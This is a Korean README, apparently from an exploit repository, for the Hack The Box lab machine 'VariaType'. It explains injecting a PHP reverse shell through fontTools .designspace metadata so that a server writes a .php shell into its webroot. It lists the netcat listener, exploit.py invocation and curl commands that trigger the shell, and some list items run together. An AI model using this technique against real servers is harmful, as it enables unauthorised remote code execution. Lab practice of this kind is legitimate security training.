
VariaType HTB 머신을 위한 익스플로잇으로, fontTools의 XML 인젝션을 악용하여 .designspace 메타데이터 내 PHP 리버스 셸 페이로드를 통해 RCE를 달성합니다.
이 저장소는 Hack The Box의 VariaType 머신을 위한 특화된 익스플로잇을 포함하고 있습니다. 이 익스플로잇은 fontTools 라이브러리 또는 웹 애플리케이션이 .designspace XML 파일과 메타데이터 보간(interpolation)을 처리하는 방식의 취약점을 이용하여 **원격 코드 실행(RCE)**을 달성합니다.
취약점은 폰트 생성 과정에 존재합니다. 악성 designspace 파일을 조작하여 폰트의 메타데이터(특히 <labelname> 필드)에 PHP 리버스 셸 페이로드를 주입할 수 있습니다. 서버가 이 파일들을 처리하여 가변 폰트를 생성할 때, 출력물을 사용자가 정의한 경로에 쓰기 때문에 웹루트에 .php 셸을 배치할 수 있습니다.
fontTools를 사용하여 유효한 source-light.ttf 및 source-regular.ttf 마스터 폰트를 생성합니다.designspace 파일을 생성합니다..php 파일로 저장하려고 시도합니다.Python 3와 다음 라이브러리가 설치되어 있어야 합니다:
pip install fontTools requests
로컬 머신(또는 Pwnbox)에서 Netcat 리스너를 시작하세요:
nc -lvnp 4444
HTB VPN IP와 리스너 포트를 제공하여 스크립트를 실행하세요:
python3 exploit.py --ip <YOUR_IP> --port 4444
업로드가 200 OK를 반환하면(또는 오류 전에 처리가 발생할 경우 500이 반환되기도 함), 스크립트가 파일명을 제공합니다. curl 또는 브라우저로 접근하세요:
curl http://portal.variatype.htb/shell_xxxxxx.php
이 스크립트는 교육 목적과 승인된 침투 테스트만을 위해 만들어졌습니다. 사전 승인 없이 대상에 접근하거나 공격하는 것은 불법입니다.
README.md로 저장하세요.exploit.py인지 확인하거나 위 명령어의 파일명을 업데이트하세요.| 인수 | 설명 | 기본값 |
|---|
--ip | 리스너 IP (VPN) | 필수 |
--port | 리스너 포트 | 필수 |
--path | 셸의 대상 경로 | /var/www/portal.variatype.htb/public |
--url | 업로드 엔드포인트 | http://variatype.htb/tools/.../process |